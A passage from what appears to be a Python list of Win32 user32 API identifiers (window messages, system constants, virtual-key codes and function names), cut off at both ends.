'EN_HSCROLL',\n 'CreateMDIWindow', 'SPI_GETMOUSECLICKLOCK', 'WM_NCCALCSIZE', 'SM_CYFRAME',\n 'APPCOMMAND_CLOSE', 'CDS_FULLSCREEN', 'WM_POINTERDEVICEOUTOFRANGE',\n 'BST_UNCHECKED', 'WM_DELETEITEM', 'STATE_SYSTEM_FLOATING', 'WM_CLOSE',\n 'DS_SETFONT', 'MB_ICONEXCLAMATION', 'SPI_GETMOUSESONAR', 'BF_BOTTOMLEFT',\n 'VK_BROWSER_FAVORITES', 'CreateAcceleratorTable', 'OBM_OLD_REDUCE',\n 'MF_HELP', 'ISMEX_NOSEND', 'GetMessage', 'EN_BEFORE_PASTE', 'VK_JUNJA',\n 'DCX_LOCKWINDOWUPDATE', 'SWP_NOREDRAW', 'NF_REQUERY', 'DFCS_CAPTIONCLOSE',\n 'LBN_SETFOCUS', 'GID_PRESSANDTAP', 'WINEVENT_SKIPOWNTHREAD', 'LoadString',\n 'OIC_NOTE', 'POINTER_FLAG_PRIMARY', 'IDH_CANCEL', 'SOUND_SYSTEM_BEEP',\n 'USER_TIMER_MINIMUM', 'DOF_DIRECTORY', 'MNS_MODELESS', 'WM_NCMOUSEMOVE',\n 'PENVISUALIZATION_TAP', 'wsprintf', 'VK_OEM_FJ_JISHO', 'CW_USEDEFAULT',\n 'CF_BITMAP', 'IDCANCEL', 'SM_DIGITIZER', 'SPI_SETGRADIENTCAPTIONS',\n 'SPI_SETDOUBLECLKWIDTH', 'SC_MONITORPOWER', 'RegisterClipboardFormat',\n 'GCLP_HICONSM', 'OBJID_CARET', 'IS_INTRESOURCE', 'SKF_AVAILABLE',\n 'VK_BROWSER_BACK', 'WM_GETDPISCALEDSIZE', 'WINSTA_CREATEDESKTOP',\n 'WM_CONTEXTMENU', 'OBJID_NATIVEOM', 'GA_ROOT', 'CB_DELETESTRING',\n 'SBM_SETRANGE', 'SM_CYSMICON', 'BSM_INSTALLABLEDRIVERS', 'SS_ICON',\n 'POINTER_FLAG_FOURTHBUTTON', 'IDI_WARNING', 'NF_QUERY', 'WM_CREATE',\n 'CTLCOLOR_EDIT', 'SM_SYSTEMDOCKED', 'OCR_SIZENS', 'DT_EDITCONTROL',\n 'LBS_SORT', 'APPCOMMAND_COPY', 'SLE_MINORERROR', 'WM_COPY', 'MF_GRAYED',\n 'PENARBITRATIONTYPE_WIN8', 'PENVISUALIZATION_OFF', 'OBJID_HSCROLL',\n 'POINTER_FLAG_CONFIDENCE', 'VK_OEM_NEC_EQUAL', 'SCF_ISSECURE', 'DFCS_HOT',\n 'WM_ACTIVATE', 'TOUCHEVENTF_INRANGE', 'SB_LINEUP', 'WM_MOUSEHOVER',\n 'MNS_DRAGDROP', 'SKF_LCTLLATCHED', 'HBMMENU_CALLBACK', 'SW_INVALIDATE',\n 'SPI_GETMOUSETRAILS', 'HBMMENU_MBAR_CLOSE_D', 'SPI_SETPENVISUALIZATION',\n 'RIDI_DEVICENAME', 'DT_CALCRECT', 'SPI_SETMOUSEDRAGOUTTHRESHOLD',\n 'GIDC_REMOVAL', 'SPI_SETMENUANIMATION', 'SPI_SETFASTTASKSWITCH', 'IDHELP',\n 'GW_HWNDFIRST', 'STATE_SYSTEM_HOTTRACKED', 'LB_SETHORIZONTALEXTENT',\n 'CB_SETLOCALE', 'NID_INTEGRATED_PEN', 'CF_DIBV5', 'MKF_LEFTBUTTONSEL',\n 'WM_INPUTLANGCHANGEREQUEST', 'SM_RESERVED1', 'PDC_ORIENTATION_270',\n 'SM_RESERVED3', 'SM_RESERVED2', 'GetWindowLongPtr', 'BS_AUTORADIOBUTTON',\n 'IDH_GENERIC_HELP_BUTTON', 'EVENT_OBJECT_IME_HIDE', 'TPM_VERTICAL',\n 'MOUSEEVENTF_LEFTDOWN', 'WM_DRAWCLIPBOARD', 'VK_GAMEPAD_LEFT_SHOULDER',\n 'GWFS_INCLUDE_ANCESTORS', 'SSTF_NONE', 'WM_ENTERMENULOOP', 'WS_DLGFRAME',\n 'IDHOT_SNAPWINDOW', 'WM_TIMER', 'EVENT_SYSTEM_SWITCHER_APPDROPPED',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MIN', 'SBS_BOTTOMALIGN',\n 'STATE_SYSTEM_ALERT_HIGH', 'PBT_APMRESUMECRITICAL', 'WM_ENTERSIZEMOVE',\n 'DISP_CHANGE_BADDUALVIEW', 'ARW_BOTTOMLEFT', 'BSF_LUID', 'WM_SYSKEYDOWN',\n 'SSGF_NONE', 'GUI_16BITTASK', 'IS_POINTER_THIRDBUTTON_WPARAM', 'VK_KANA',\n 'HELP_FINDER', 'PBT_POWERSETTINGCHANGE', 'WVR_VALIDRECTS', 'RT_PLUGPLAY',\n 'GUI_SYSTEMMENUMODE', 'HCBT_SETFOCUS', 'HBMMENU_POPUP_CLOSE', 'OCR_WAIT',\n 'IDI_APPLICATION', 'QS_MOUSEBUTTON', 'POINTER_FLAG_CAPTURECHANGED',\n 'SPI_SETMOUSEHOVERWIDTH', 'SPI_GETCARETWIDTH', 'COLOR_WINDOW', 'WM_SIZE',\n 'WM_UNICHAR', 'COLOR_BACKGROUND', 'FindWindowEx', 'EM_SETMARGINS',\n 'EM_LINESCROLL', 'SKF_TRISTATE', 'MFT_SEPARATOR', 'WS_EX_RIGHTSCROLLBAR',\n 'SPI_SETNONCLIENTMETRICS', 'SPI_GETMOUSEHOVERHEIGHT', 'WM_COMMNOTIFY',\n 'EVENT_OBJECT_SELECTIONREMOVE', 'SPI_GETLOWPOWERACTIVE', 'SIZENORMAL',\n 'SPI_SETKEYBOARDPREF', 'PDC_MODE_CENTERED', 'EVENT_OBJECT_DESTROY',\n 'VK_OEM_AUTO', 'DFCS_BUTTONRADIO', 'SM_MOUSEPRESENT', 'POINTSTOPOINT',\n 'EVENT_OBJECT_DRAGCOMPLETE', 'WM_XBUTTONUP', 'BS_TYPEMASK', 'WM_INPUT',\n 'LBS_WANTKEYBOARDINPUT', 'MKF_RIGHTBUTTONSEL', 'TOUCH_HIT_TESTING_CLIENT',\n 'WM_ENABLE', 'WM_CTLCOLORMSGBOX', 'SPI_GETMOUSEHOVERWIDTH', 'SM_TABLETPC',\n 'SendMessageTimeout', 'EVENT_OBJECT_NAMECHANGE', 'SC_SEPARATOR', 'HTZOOM',\n 'WM_NCHITTEST', 'SERKF_AVAILABLE', 'SKF_RALTLOCKED', 'OBM_UPARROWD',\n 'SOUND_SYSTEM_QUESTION', 'STATE_SYSTEM_VALID', 'POINTER_MOD_CTRL',\n 'MK_LBUTTON', 'SM_CXVSCROLL', 'CB_GETDROPPEDSTATE', 'HTVSCROLL', 'SW_MAX',\n 'MSGFLTINFO_ALREADYALLOWED_FORWND', 'MIIM_SUBMENU', 'ODT_BUTTON',\n 'CB_GETLBTEXTLEN', 'SM_SLOWMACHINE', 'APPCOMMAND_HELP', 'WM_HELP',\n 'EM_ENABLEFEATURE', 'DT_NOFULLWIDTHCHARBREAK', 'MF_CHANGE', 'SC_HOTKEY',\n 'STATE_SYSTEM_EXPANDED', 'COLOR_3DHILIGHT', 'VK_ICO_CLEAR', 'OBM_MNARROW',\n 'WM_DWMWINDOWMAXIMIZEDCHANGE', 'WM_IME_SETCONTEXT', 'SIF_DISABLENOSCROLL',\n 'SSF_INDICATOR', 'GET_MOUSEORKEY_LPARAM', 'DST_PREFIXTEXT', 'BDR_RAISED',\n 'ISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID', 'EVENT_SYSTEM_END',\n 'IDC_APPSTARTING', 'EM_SETWORDBREAKPROC', 'SWP_DRAWFRAME', 'AW_BLEND',\n 'INDEXID_CONTAINER', 'MKF_MOUSEKEYSON', 'SM_CYVIRTUALSCREEN', 'VK_NONAME',\n 'WM_DWMSENDICONICLIVEPREVIEWBITMAP', 'WINEVENT_INCONTEXT', 'MAKELRESULT',\n 'STATE_SYSTEM_READONLY', 'COLOR_MENUTEXT', 'WM_CHANGECBCHAIN', 'DC_ICON',\n 'LB_GETSELCOUNT', 'OBJID_VSCROLL', 'GWL_HWNDPARENT', 'WM_NCACTIVATE',\n 'WM_DWMCOLORIZATIONCOLORCHANGED', 'MNS_NOCHECK', 'SW_PARENTOPENING',\n 'EWX_POWEROFF', 'ODS_SELECTED', 'ESB_DISABLE_RIGHT', 'GCL_HMODULE',\n 'EVENT_OBJECT_DESCRIPTIONCHANGE', 'LB_SETTABSTOPS', 'DCX_CLIPCHILDREN',\n 'MB_ICONHAND', 'SC_VSCROLL', 'BS_MULTILINE', 'RegisterDeviceNotification',\n 'BF_MIDDLE', 'DS_MODALFRAME', 'SOUND_SYSTEM_APPSTART', 'CDS_RESET_EX',\n 'SPI_SETDOUBLECLKHEIGHT', 'WM_TABLET_LAST', 'BN_PUSHED', 'SPI_SETICONS',\n 'PM_NOREMOVE', 'ODT_LISTBOX', 'SPI_SETCARETBROWSING', 'HC_ACTION',\n 'RDW_FRAME', 'TOUCH_FEEDBACK_INDIRECT', 'SPIF_SENDWININICHANGE', 'VK_END',\n 'EVENT_SYSTEM_MENUPOPUPSTART', 'DIFFERENCE', 'PDC_REMOVAL', 'PM_NOYIELD',\n 'SPI_GETLISTBOXSMOOTHSCROLLING', 'RDW_ALLCHILDREN', 'EVENT_AIA_END',\n 'SWP_NOOWNERZORDER', 'HSHELL_REDRAW', 'DT_NOCLIP', 'HTERROR', 'WC_DIALOG',\n 'SPI_GETTHREADLOCALINPUTSETTINGS', 'APPCOMMAND_DELETE', 'EnumTaskWindows',\n 'CONSOLE_APPLICATION_16BIT', 'OIC_SHIELD', 'CF_UNICODETEXT', 'HC_NOREM',\n 'DT_END_ELLIPSIS', 'SPI_GETFONTSMOOTHINGCONTRAST', 'SBS_SIZEGRIP',\n 'RI_MOUSE_LEFT_BUTTON_UP', 'LWA_COLORKEY', 'VK_FINAL', 'VK_CAPITAL',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_DOWN', 'LR_COPYDELETEORG', 'EnumPropsEx',\n 'SM_REMOTECONTROL', 'DLGC_RADIOBUTTON', 'HELP_CONTENTS', 'OBM_REDUCED',\n 'HCF_DEFAULTDESKTOP', 'DFCS_SCROLLCOMBOBOX', 'MDITILE_ZORDER', 'PWR_FAIL',\n 'SPI_GETACTIVEWINDOWTRACKING', 'VK_OEM_COPY', 'DT_EXTERNALLEADING',\n 'EVENT_SYSTEM_SWITCHER_APPGRABBED', 'SPI_GETFONTSMOOTHINGORIENTATION',\n 'MB_ICONMASK', 'EVENT_OBJECT_TEXTEDIT_CONVERSIONTARGETCHANGED', 'SIF_POS',\n 'WM_HOTKEY', 'SPI_SETDESKWALLPAPER', 'PostThreadMessage', 'WM_IME_CHAR',\n 'SOUND_SYSTEM_FAULT', 'ISMEX_SEND', 'EIMES_GETCOMPSTRATONCE', 'GW_CHILD',\n 'BM_SETIMAGE', 'SPI_ICONHORIZONTALSPACING', 'SPI_GETSERIALKEYS', 'FSHIFT',\n 'APPCOMMAND_BROWSER_FAVORITES', 'WM_RBUTTONDOWN', 'SPI_SETMOUSESPEED',\n 'SPI_SETLOGICALDPIOVERRIDE', 'MB_TYPEMASK', 'MOUSEEVENTF_LEFTUP',\n 'TOUCHEVENTF_MOVE', 'WS_MINIMIZEBOX', 'PDC_ORIGIN', 'IDC_PERSON',\n 'HCBT_MINMAX', 'BF_BOTTOMRIGHT', 'HSHELL_SYSMENU', 'WINSTA_ALL_ACCESS',\n 'APPCOMMAND_MEDIA_CHANNEL_DOWN', 'LBS_NOTIFY', 'WM_INITMENU', 'CF_TIFF',\n 'MFS_GRAYED', 'DC_BUTTONS', 'SPI_SETBEEP', 'POINTER_MESSAGE_FLAG_PRIMARY',\n 'SIZEZOOMSHOW', 'UNICODE_NOCHAR', 'COLOR_APPWORKSPACE', 'OpenDesktop',\n 'WM_GESTURENOTIFY', 'MOUSE_MOVE_ABSOLUTE', 'MB_ICONWARNING', 'MF_SYSMENU',\n 'TPM_CENTERALIGN', 'WM_MENURBUTTONUP', 'ESB_DISABLE_LTUP', 'HIDE_WINDOW',\n 'HCBT_KEYSKIPPED', 'MFT_RIGHTJUSTIFY', 'AW_VER_NEGATIVE', 'MF_POPUP',\n 'BS_RIGHTBUTTON', 'WS_TILEDWINDOW', 'SPI_SETMINIMIZEDMETRICS', 'SW_ERASE',\n 'CBN_KILLFOCUS', 'HTBOTTOM', 'GetAltTabInfo', 'CWP_ALL', 'IDI_WINLOGO',\n 'HSHELL_WINDOWCREATED', 'PEN_MASK_TILT_X', 'PEN_MASK_TILT_Y', 'OBM_CLOSE',\n 'POINTER_FLAG_HASTRANSFORM', 'WM_PENWINLAST', 'TOUCH_FLAG_NONE', 'VK_PA1',\n 'MF_SEPARATOR', 'CDS_UPDATEREGISTRY', 'STATE_SYSTEM_ALERT_LOW', 'SetProp',\n 'VK_GAMEPAD_MENU', 'SPI_SETFLATMENU', 'WM_POINTERDEVICEINRANGE', 'OCR_NO',\n 'SM_MIDEASTENABLED', 'BN_HILITE', 'WS_MINIMIZE', 'DlgDirListComboBox',\n 'CS_VREDRAW', 'STN_CLICKED', 'COLOR_SCROLLBAR', 'VK_OEM_FJ_MASSHOU',\n 'POINTER_MESSAGE_FLAG_SECONDBUTTON', 'DWL_DLGPROC', 'GMDI_USEDISABLED',\n 'CTLCOLOR_STATIC', 'SS_ENHMETAFILE', 'GA_ROOTOWNER', 'EVENT_MAX',\n 'CDS_VIDEOPARAMETERS', 'GetRawInputDeviceInfo', 'PENVISUALIZATION_ON',\n 'WM_POINTERROUTEDAWAY', 'KLF_SHIFTLOCK', 'WM_IME_KEYLAST', 'ARW_RIGHT',\n 'OBM_RESTORE', 'HTCAPTION', 'NID_READY', 'WM_XBUTTONDOWN', 'VK_OEM_4',\n 'VK_OEM_5', 'VK_OEM_6', 'VK_OEM_7', 'PMB_ACTIVE', 'VK_OEM_1', 'VK_OEM_2',\n 'VK_OEM_3', 'VK_GAMEPAD_RIGHT_THUMBSTICK_RIGHT', 'VK_OEM_8', 'CharLower',\n 'COLOR_GRAYTEXT', 'STATE_SYSTEM_COLLAPSED', 'LB_GETCURSEL', 'WM_AFXFIRST',\n 'SPI_GETMENUFADE', 'TIMERV_COALESCING_MAX', 'DWLP_MSGRESULT', 'VK_LSHIFT',\n 'WM_MDIICONARRANGE', 'WS_EX_TOPMOST', 'WM_DWMCOMPOSITIONCHANGED',\n 'BN_SETFOCUS', 'POINTER_FLAG_HWHEEL', 'MB_ICONASTERISK', 'PM_QS_PAINT',\n 'SPI_GETTOOLTIPANIMATION', 'SPI_GETKEYBOARDCUES', 'VK_KANJI', 'DWLP_USER',\n 'SPI_GETFOREGROUNDFLASHCOUNT', 'SPI_GETDISABLEOVERLAPPEDCONTENT',\n 'DCX_INTERSECTRGN', 'SPI_GETSPEECHRECOGNITION', 'RT_MANIFEST', 'WM_CHAR',\n 'SM_CYDRAG', 'SPI_SETACTIVEWNDTRKTIMEOUT', 'DCX_CACHE', 'DLGC_HASSETSEL',\n 'WM_DWMNCRENDERINGCHANGED', 'WM_AFXLAST', 'SPI_GETICONMETRICS', 'SC_ZOOM',\n 'FKF_CLICKON', 'GR_USEROBJECTS_PEAK', 'RDW_NOERASE', 'OBM_RESTORED',\n 'POINTER_MESSAGE_FLAG_FIFTHBUTTON', 'LB_GETSEL', 'WM_DISPLAYCHANGE',\n 'SBS_VERT', 'MB_NOFOCUS', 'DT_CENTER', 'VK_SCROLL', 'SC_ICON',\n 'GESTUREVISUALIZATION_RIGHTTAP', 'MF_OWNERDRAW',\n 'MIIM_DATA', 'DI_NOMIRROR', 'HSHELL_GETMINRECT', 'CF_PRIVATEFIRST',\n 'MKF_RIGHTBUTTONDOWN', 'MB_ICONERROR', 'WS_EX_PALETTEWINDOW', 'DrawState',\n 'OBM_OLD_RESTORE', 'ISOLATIONAWARE_MANIFEST_RESOURCE_ID', 'DrawTextEx',\n 'CCHDEVICENAME', 'PEN_MASK_NONE', 'APPCOMMAND_FIND', 'GC_ALLGESTURES',\n 'PENARBITRATIONTYPE_FIS', 'SSTF_DISPLAY', 'CB_GETDROPPEDCONTROLRECT',\n 'POINTER_FLAG_FIFTHBUTTON', 'LB_GETSELITEMS', 'GF_BEGIN', 'WM_NEXTDLGCTL',\n 'CB_SETHORIZONTALEXTENT', 'ENUM_CURRENT_SETTINGS', 'SM_CXICON', 'CF_WAVE',\n 'SHOW_OPENWINDOW', 'SM_CMONITORS', 'SS_BLACKFRAME', 'MB_MISCMASK',\n 'SOUND_SYSTEM_APPEND', 'CBN_SETFOCUS', 'BF_DIAGONAL_ENDBOTTOMLEFT',\n 'APPCOMMAND_MEDIA_PAUSE', 'DFC_MENU', 'WM_IME_STARTCOMPOSITION', 'BS_TOP',\n 'SM_CYMIN', 'SW_MINIMIZE', 'MOUSEEVENTF_MOVE', 'DC_HASDEFID', 'NFR_ANSI',\n 'APPCOMMAND_LAUNCH_MEDIA_SELECT', 'HBMMENU_MBAR_MINIMIZE_D', 'VK_LBUTTON',\n 'LB_SETITEMHEIGHT', 'PRF_OWNED', 'FE_FONTSMOOTHINGSTANDARD', 'CS_HREDRAW',\n 'ES_PASSWORD', 'DI_DEFAULTSIZE', 'SPI_GETACCESSTIMEOUT', 'CTLCOLOR_MAX',\n 'BDR_SUNKENOUTER', 'INPUTLANGCHANGE_BACKWARD', 'CB_GETDROPPEDWIDTH',\n 'UOI_USER_SID', 'PRF_NONCLIENT', 'LR_MONOCHROME', 'WM_NEXTMENU', 'VK_F19',\n 'TPM_LAYOUTRTL', 'OBM_UPARROWI', 'BS_GROUPBOX', 'OIC_ERROR',\n 'SIZEFULLSCREEN', 'VK_OEM_PLUS', 'CharLowerBuff', 'PeekMessage', 'VK_F18',\n 'IDI_ERROR', 'VK_EREOF', 'SS_LEFTNOWORDWRAP', 'SC_RESTORE', 'SS_SIMPLE',\n 'GET_KEYSTATE_LPARAM', 'CBN_EDITUPDATE', 'TKF_CONFIRMHOTKEY', 'CF_LOCALE',\n 'BS_USERBUTTON', 'GESTUREVISUALIZATION_PRESSANDTAP', 'SWP_ASYNCWINDOWPOS',\n 'CreateWindowEx', 'IDC_SIZENWSE', 'SPI_SETHUNGAPPTIMEOUT', 'BM_SETCHECK',\n 'SMTO_ABORTIFHUNG', 'SPI_GETPENSIDEMOVETHRESHOLD', 'GCL_CBWNDEXTRA',\n 'DS_CENTERMOUSE', 'GetMenuItemInfo', 'BF_DIAGONAL_ENDTOPLEFT', 'VK_DOWN',\n 'EWX_FORCE', 'EVENT_OBJECT_DEFACTIONCHANGE', 'WM_UPDATEUISTATE', 'VK_F13',\n 'EVENT_SYSTEM_IME_KEY_NOTIFICATION', 'RIDEV_DEVNOTIFY', 'LB_RESETCONTENT',\n 'GUI_CARETBLINKING', 'LB_SELITEMRANGEEX', 'CB_SHOWDROPDOWN', 'RT_MENU',\n 'SPI_SETPOWEROFFTIMEOUT', 'SS_GRAYRECT', 'EVENT_UIA_PROPID_END', 'VK_F12',\n 'EWX_BOOTOPTIONS', 'IDI_HAND', 'PBT_APMRESUMESUSPEND', 'SC_MAXIMIZE',\n 'SSWF_CUSTOM', 'SW_OTHERUNZOOM', 'CreateDialogIndirectA', 'VK_ICO_HELP',\n 'EVENT_OBJECT_HOSTEDOBJECTSINVALIDATED', 'RES_CURSOR', 'WM_QUEUESYNC',\n 'SPI_SETGRIDGRANULARITY', 'WS_HSCROLL', 'ARW_HIDE', 'EWX_FORCEIFHUNG',\n 'RI_MOUSE_BUTTON_2_DOWN', 'EVENT_OBJECT_LIVEREGIONCHANGED', 'HTTOPLEFT',\n 'RI_MOUSE_RIGHT_BUTTON_UP', 'SPI_SETCARETTIMEOUT', 'CB_RESETCONTENT',\n 'EDD_GET_DEVICE_INTERFACE_NAME', 'WM_SYSKEYUP', 'BS_RADIOBUTTON',\n 'GWLP_HINSTANCE', 'OCR_SIZENWSE', 'IDC_SIZENS', 'EMSIS_COMPOSITIONSTRING',\n 'WM_IME_NOTIFY', 'WM_PENWINFIRST', 'SS_WORDELLIPSIS', 'WM_NCCREATE',\n 'EVENT_OBJECT_CONTENTSCROLLED', 'CB_GETCURSEL', 'BM_GETSTATE', 'HKL_PREV',\n 'APPCOMMAND_MICROPHONE_VOLUME_UP', 'LB_ADDFILE', 'BS_ICON', 'DS_3DLOOK',\n 'CALERT_SYSTEM', 'WM_IME_ENDCOMPOSITION', 'PBT_APMPOWERSTATUSCHANGE',\n 'BS_DEFPUSHBUTTON', 'ARW_STARTMASK', 'SetClassLongPtrA', 'WM_APPCOMMAND',\n 'WM_GETTEXTLENGTH', 'WM_SIZECLIPBOARD', 'LB_GETTEXTLEN', 'CreateWindowW',\n 'WM_VSCROLLCLIPBOARD', 'HTHSCROLL', 'BSF_FORCEIFHUNG', 'WM_SETTEXT',\n 'IDI_ASTERISK', 'FLASHW_TIMER', 'GetWindowModuleFileName', 'CB_GETLOCALE',\n 'DM_REPOSITION', 'WM_WINDOWPOSCHANGED', 'SPI_GETPENVISUALIZATION',\n 'MFT_RIGHTORDER', 'DS_SETFOREGROUND', 'GetClassLong', 'STM_SETICON',\n 'SBM_GETSCROLLBARINFO', 'HWND_BOTTOM', 'WS_EX_CLIENTEDGE', 'VK_LEFT',\n 'HELP_FORCEFILE', 'UOI_NAME', 'SendNotifyMessage', 'ES_LOWERCASE',\n 'CB_OKAY', 'SM_CYSIZE', 'OBM_OLD_RGARROW', 'HELPINFO_WINDOW', 'WM_CLEAR',\n 'TOUCHEVENTF_UP', 'DLGC_WANTTAB', 'SPI_SETMOUSEVANISH', 'GC_ZOOM',\n 'SB_LINEDOWN', 'PENARBITRATIONTYPE_SPT', 'CDS_ENABLE_UNSAFE_MODES',\n 'WM_GETMINMAXINFO', 'RIM_TYPEKEYBOARD', 'LB_SETCURSEL', 'WM_GESTURE',\n 'SetWindowsHookEx', 'SPI_SETSPEECHRECOGNITION', 'CB_GETHORIZONTALEXTENT',\n 'RT_VERSION', 'VK_OEM_PA1', 'VK_OEM_PA3', 'VK_OEM_PA2', 'MFS_DEFAULT',\n 'BST_FOCUS', 'SPI_SETPENDRAGOUTTHRESHOLD', 'HELP_WM_HELP', 'EN_SETFOCUS',\n 'SPI_SETSCREENSAVETIMEOUT', 'MDITILE_VERTICAL', 'IDTRYAGAIN', 'MF_DELETE',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_DOWN', 'SM_CXFRAME', 'SetClassLongPtr',\n 'SPI_GETKEYBOARDSPEED', 'SSF_AVAILABLE', 'TME_NONCLIENT', 'DC_GRADIENT',\n 'OCR_APPSTARTING', 'IDCLOSE', 'EM_LINEINDEX', 'PWR_CRITICALRESUME',\n 'MN_GETHMENU', 'TIMERV_DEFAULT_COALESCING', 'HCF_AVAILABLE', 'VK_F11',\n 'WM_MOUSEACTIVATE', 'SM_CMOUSEBUTTONS', 'SPI_GETANIMATION', 'VK_F10',\n 'LB_ADDSTRING', 'SPI_GETWINARRANGING', 'VK_F17', 'VK_F16', 'VK_F15',\n 'VK_F14', 'SM_CXSIZE', 'TWF_WANTPALM', 'WM_DEVMODECHANGE', 'CTLCOLOR_BTN',\n 'SPI_SETANIMATION', 'SM_CXVIRTUALSCREEN', 'LBS_EXTENDEDSEL', 'STM_MSGMAX',\n 'MNS_NOTIFYBYPOS', 'SOUND_SYSTEM_STARTUP', 'EVENT_SYSTEM_MENUPOPUPEND',\n 'LB_ERRSPACE', 'APPCOMMAND_FORWARD_MAIL', 'SM_STARTER', 'DFCS_MONO',\n 'SSTF_BORDER', 'GW_MAX', 'POINTER_MESSAGE_FLAG_CONFIDENCE', 'BS_TEXT',\n 'SPI_SETMOUSESIDEMOVETHRESHOLD', 'LLKHF_ALTDOWN', 'WM_MENUCHAR', 'LB_DIR',\n 'ASFW_ANY', 'GWL_HINSTANCE', 'MF_HILITE', 'HELPINFO_MENUITEM', 'SC_SIZE',\n 'USER_TIMER_MAXIMUM', 'QS_ALLINPUT', 'HELP_COMMAND', 'QS_TOUCH', 'HTLEFT',\n 'SM_CXHSCROLL', 'EM_GETTHUMB', 'ODS_NOFOCUSRECT', 'VK_VOLUME_MUTE',\n 'FE_FONTSMOOTHINGORIENTATIONBGR', 'LoadBitmap', 'DLGC_STATIC', 'WM_PRINT',\n 'EVENT_SYSTEM_SCROLLINGSTART', 'WM_PALETTEISCHANGING', 'SC_NEXTWINDOW',\n 'TKF_AVAILABLE', 'SW_NORMAL', 'MFS_HILITE', 'MKF_HOTKEYACTIVE', 'VK_ATTN',\n 'SW_SCROLLCHILDREN', 'AW_VER_POSITIVE', 'APPCOMMAND_PRINT', 'VK_ACCEPT',\n 'QS_POSTMESSAGE', 'MNGOF_BOTTOMGAP', 'HSHELL_ENDTASK', 'EWX_RESTARTAPPS',\n 'EVENT_OBJECT_SELECTIONWITHIN', 'DESKTOP_JOURNALRECORD', 'MK_SHIFT',\n 'APPCOMMAND_VOLUME_UP', 'EVENT_SYSTEM_ALERT', 'MIM_MAXHEIGHT', 'VK_EXSEL',\n 'VkKeyScanEx', 'LBS_NOREDRAW', 'SPI_SETMENUUNDERLINES', 'SB_LINELEFT',\n 'APPCOMMAND_BASS_UP', 'APPCOMMAND_TREBLE_DOWN', 'OIC_INFORMATION',\n 'SetDlgItemText', 'CB_FINDSTRINGEXACT', 'CS_PARENTDC', 'VK_CLEAR',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_LEARNING_RATE', 'ARW_DOWN',\n 'EVENT_SYSTEM_CONTEXTHELPSTART', 'SC_DEFAULT', 'SBS_TOPALIGN', 'FCONTROL',\n 'WB_ISDELIMITER', 'TOUCHINPUTMASKF_TIMEFROMSYSTEM', 'SPI_LANGDRIVER',\n 'DFCS_BUTTONPUSH', 'EM_SETLIMITTEXT', 'WM_ERASEBKGND', 'VK_OEM_FINISH',\n 'EVENT_CONSOLE_LAYOUT', 'WS_EX_COMPOSITED', 'HC_NOREMOVE', 'WDA_MONITOR',\n 'GMMP_USE_HIGH_RESOLUTION_POINTS', 'SPI_SETICONMETRICS', 'WM_NCDESTROY',\n 'EN_ERRSPACE', 'EIMES_COMPLETECOMPSTRKILLFOCUS', 'SKF_LWINLATCHED',\n 'WS_EX_LEFTSCROLLBAR', 'MB_ICONQUESTION', 'VK_LAUNCH_MEDIA_SELECT',\n 'GW_ENABLEDPOPUP', 'SBM_SETRANGEREDRAW', 'CB_FINDSTRING', 'HTGROWBOX',\n 'DEVICE_NOTIFY_ALL_INTERFACE_CLASSES', 'WS_CAPTION', 'LB_SETCOUNT',\n 'SPI_SETTOGGLEKEYS', 'SPI_SETSERIALKEYS', 'SIF_TRACKPOS', 'SS_GRAYFRAME',\n 'IsDialogMessage', 'LLMHF_INJECTED', 'MessageBoxIndirect', 'EM_GETLINE',\n 'SPI_GETDEFAULTINPUTLANG', 'LBS_OWNERDRAWFIXED', 'SOUND_SYSTEM_ERROR',\n 'SPI_SETDISABLEOVERLAPPEDCONTENT', 'CallMsgFilter', 'ULW_COLORKEY',\n 'DFCS_BUTTONRADIOMASK', 'SPI_GETFOCUSBORDERWIDTH', 'CF_SYLK',\n 'COLOR_DESKTOP', 'DCX_VALIDATE', 'SS_ELLIPSISMASK', 'WM_QUERYDRAGICON',\n 'POINTER_MESSAGE_FLAG_FIRSTBUTTON', 'TPM_VCENTERALIGN', 'SIF_PAGE',\n 'SIZE_MAXIMIZED', 'CBN_SELCHANGE', 'ENDSESSION_LOGOFF', 'CSOUND_SYSTEM',\n 'SKF_STICKYKEYSON', 'DISP_CHANGE_FAILED', 'MF_STRING',\n 'BS_AUTO3STATE', 'SPI_SETSCREENSAVEACTIVE', 'SM_CYSIZEFRAME', 'HTREDUCE',\n 'SetWindowLongPtr', 'VK_GAMEPAD_LEFT_THUMBSTICK_BUTTON', 'SSGF_DISPLAY',\n 'SPI_SETMOUSEWHEELROUTING', 'LBS_OWNERDRAWVARIABLE', 'SPI_SETWORKAREA',\n 'DF_ALLOWOTHERACCOUNTHOOK', 'SPI_GETWHEELSCROLLLINES', 'MIIM_CHECKMARKS',\n 'GC_PAN_WITH_INERTIA', 'EnumDisplayDevices', 'APPCOMMAND_REPLY_TO_MAIL',\n 'MOUSEEVENTF_ABSOLUTE', 'VK_MBUTTON', 'VK_MODECHANGE', 'WS_EX_RTLREADING',\n 'LB_CTLCODE', 'HELP_TCARD_OTHER_CALLER', 'TPM_RIGHTBUTTON', 'BDR_INNER',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_LEFT', 'PRF_CHECKVISIBLE', 'DFCS_SCROLLUP',\n 'POINTER_FLAG_WHEEL', 'APPCOMMAND_SEND_MAIL', 'WM_GETHOTKEY', 'EM_UNDO',\n 'DOF_DOCUMENT', 'SetWindowsHook', 'BN_UNHILITE', 'GC_TWOFINGERTAP',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_LATENCY', 'WINUSERAPI', 'OBM_DNARROWD',\n 'SOUND_SYSTEM_RESTOREUP', 'OBM_DNARROWI', 'OBM_BTNCORNERS', 'OCR_ICOCUR',\n 'KLF_REPLACELANG', 'NID_EXTERNAL_TOUCH', 'CB_SETITEMHEIGHT', 'CharNext',\n 'HTMAXBUTTON', 'LBS_NOINTEGRALHEIGHT', 'SPI_SETCLEARTYPE', 'COLOR_INFOBK',\n 'SM_CYSMCAPTION', 'WM_NCXBUTTONDBLCLK', 'HC_GETNEXT', 'HELP_SETPOPUP_POS',\n 'SM_SAMEDISPLAYFORMAT', 'GC_PAN_WITH_GUTTER', 'SPI_SETMENUDROPALIGNMENT',\n 'RT_MESSAGETABLE', 'SIZEZOOMHIDE', 'DO_PRINTFILE', 'SPI_SETMOUSE',\n 'PENARBITRATIONTYPE_MAX', 